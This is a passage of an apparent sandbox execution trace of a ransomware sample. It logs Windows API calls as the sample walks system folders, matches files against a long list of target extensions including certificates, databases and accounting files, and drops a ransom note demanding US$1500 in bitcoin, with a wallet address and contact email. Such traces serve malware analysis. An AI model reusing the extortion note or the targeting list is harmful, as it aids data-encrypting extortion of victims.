(lpString="*.eml") returned 5 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.msg") returned 0 [0104.982] lstrlenA (lpString="*.msg") returned 5 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.edb") returned 0 [0104.982] lstrlenA (lpString="*.edb") returned 5 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.accdb") returned 0 [0104.982] lstrlenA (lpString="*.accdb") returned 7 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.odb") returned 0 [0104.982] lstrlenA (lpString="*.odb") returned 5 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.java") returned 0 [0104.982] lstrlenA (lpString="*.java") returned 6 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.asm") returned 0 [0104.982] lstrlenA (lpString="*.asm") returned 5 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.pfx") returned 0 [0104.982] lstrlenA (lpString="*.pfx") returned 5 [0104.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.pem") returned 0 [0104.983] lstrlenA (lpString="*.pem") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.p12") returned 0 [0104.983] lstrlenA (lpString="*.p12") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.gpg") returned 0 [0104.983] lstrlenA (lpString="*.gpg") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.vsd") returned 0 [0104.983] lstrlenA (lpString="*.vsd") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.odg") returned 0 [0104.983] lstrlenA (lpString="*.odg") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.raw") returned 0 [0104.983] lstrlenA (lpString="*.raw") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.nef") returned 0 [0104.983] lstrlenA (lpString="*.nef") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.svg") returned 0 [0104.983] lstrlenA (lpString="*.svg") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.psd") returned 0 [0104.983] lstrlenA (lpString="*.psd") returned 5 [0104.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.vmx") returned 0 [0104.983] lstrlenA (lpString="*.vmx") returned 5 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.vmdk") returned 0 [0104.984] lstrlenA (lpString="*.vmdk") returned 6 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.vdi") returned 0 [0104.984] lstrlenA (lpString="*.vdi") returned 5 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.lay6") returned 0 [0104.984] lstrlenA (lpString="*.lay6") returned 6 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mpeg") returned 0 [0104.984] lstrlenA (lpString="*.mpeg") returned 6 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.djvu") returned 0 [0104.984] lstrlenA (lpString="*.djvu") returned 6 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.tiff") returned 0 [0104.984] lstrlenA (lpString="*.tiff") returned 6 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.backup") returned 0 [0104.984] lstrlenA (lpString="*.backup") returned 8 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.pdf") returned 0 [0104.984] lstrlenA (lpString="*.pdf") returned 5 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.cert") returned 0 [0104.984] lstrlenA (lpString="*.cert") returned 6 [0104.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.docm") returned 0 [0104.985] lstrlenA (lpString="*.docm") returned 6 [0104.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.xlsm") returned 0 [0104.985] lstrlenA (lpString="*.xlsm") returned 6 [0104.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.dwg") returned 0 [0104.985] lstrlenA (lpString="*.dwg") returned 5 [0104.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.nd") returned 0 [0104.985] lstrlenA (lpString="*.nd") returned 4 [0104.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.tlg") returned 0 [0104.986] lstrlenA (lpString="*.tlg") returned 5 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.lgb") returned 0 [0104.986] lstrlenA (lpString="*.lgb") returned 5 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mov") returned 0 [0104.986] lstrlenA (lpString="*.mov") returned 5 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.xdw") returned 0 [0104.986] lstrlenA (lpString="*.xdw") returned 5 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.ods") returned 0 [0104.986] lstrlenA (lpString="*.ods") returned 5 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.wav") returned 0 [0104.986] lstrlenA (lpString="*.wav") returned 5 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.mp3") returned 0 [0104.986] lstrlenA (lpString="*.mp3") returned 5 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.aiff") returned 0 [0104.986] lstrlenA (lpString="*.aiff") returned 6 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.flac") returned 0 [0104.986] lstrlenA (lpString="*.flac") returned 6 [0104.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.m4a") returned 0 [0104.987] lstrlenA (lpString="*.m4a") returned 5 [0104.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity\\a5947a9c77b884b9e06c54f38ff3c4d7\\System.Data.Entity.ni.dll", pszSpec="*.csv") returned 0 [0104.987] lstrlenA (lpString="*.csv") returned 5 [0104.987] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x827eb515, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x827eb515, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x829da6f9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x976400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.987] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.987] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ba377c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x82ba377c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x82ba377c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a5947a9c77b884b9e06c54f38ff3c4d7", cAlternateFileName="A5947A~1")) returned 0 [0104.987] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.987] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x835e766f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x835e766f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Entity.#", cAlternateFileName="SYSTEM~1.#")) returned 1 [0104.987] lstrcmpA (lpString1=".", lpString2="System.Data.Entity.#") returned -1 [0104.987] lstrcmpA (lpString1="..", lpString2="System.Data.Entity.#") returned -1 [0104.987] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.987] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.Entity.#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#" [0104.987] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#") returned 67 [0104.987] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x835e766f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x835e766f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.988] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.988] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x835e766f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x835e766f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.988] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.988] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.988] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x835e766f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x835e766f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="32088676b4c08d192aae910cac1dade4", cAlternateFileName="320886~1")) returned 1 [0104.989] lstrcmpA (lpString1=".", lpString2="32088676b4c08d192aae910cac1dade4") returned -1 [0104.989] lstrcmpA (lpString1="..", lpString2="32088676b4c08d192aae910cac1dade4") returned -1 [0104.989] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\*.*") returned="*.*" [0104.989] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\", lpString2="32088676b4c08d192aae910cac1dade4" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4" [0104.989] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4") returned 100 [0104.989] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x835e766f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x835e766f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.989] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.989] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x835e766f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x835e766f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x835e766f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.989] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.990] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.990] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8357524e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8357524e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8359b3ae, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xba600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.990] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.990] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Entity.Design.ni.dll") returned -1 [0104.990] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Entity.Design.ni.dll") returned -1 [0104.990] lstrcmpiA (lpString1="", lpString2="System.Data.Entity.Design.ni.dll") returned -1 [0104.990] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\*.*") returned="*.*" [0104.990] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\" [0104.990] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\") returned="" [0104.990] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\HOW TO DECRYPT FILES.txt" [0104.990] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.entity.#\\32088676b4c08d192aae910cac1dade4\\how to decrypt files.txt")) returned 0xffffffff [0104.990] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.entity.#\\32088676b4c08d192aae910cac1dade4\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.991] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.991] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.993] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.994] CloseHandle (hObject=0x90) returned 1 [0104.994] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\", lpString2="System.Data.Entity.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll" [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.ems") returned 0 [0104.994] lstrlenA (lpString="*.ems") returned 5 [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.db") returned 0 [0104.994] lstrlenA (lpString="*.db") returned 4 [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.dbf") returned 0 [0104.994] lstrlenA (lpString="*.dbf") returned 5 [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.myox") returned 0 [0104.994] lstrlenA (lpString="*.myox") returned 6 [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.myo") returned 0 [0104.994] lstrlenA (lpString="*.myo") returned 5 [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbw") returned 0 [0104.994] lstrlenA (lpString="*.qbw") returned 5 [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbb") returned 0 [0104.994] lstrlenA (lpString="*.qbb") returned 5 [0104.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbm") returned 0 [0104.995] lstrlenA (lpString="*.qbm") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbo") returned 0 [0104.995] lstrlenA (lpString="*.qbo") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbx") returned 0 [0104.995] lstrlenA (lpString="*.qbx") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qba") returned 0 [0104.995] lstrlenA (lpString="*.qba") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qby") returned 0 [0104.995] lstrlenA (lpString="*.qby") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qbj") returned 0 [0104.995] lstrlenA (lpString="*.qbj") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.ofx") returned 0 [0104.995] lstrlenA (lpString="*.ofx") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.qif") returned 0 [0104.995] lstrlenA (lpString="*.qif") returned 5 [0104.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Entity.#\\32088676b4c08d192aae910cac1dade4\\System.Data.Entity.Design.ni.dll", pszSpec="*.mye") returned 0 [0104.995] lstrlenA (lpString="*.mye") returned 5 [0104.996] PathMatchSpecA 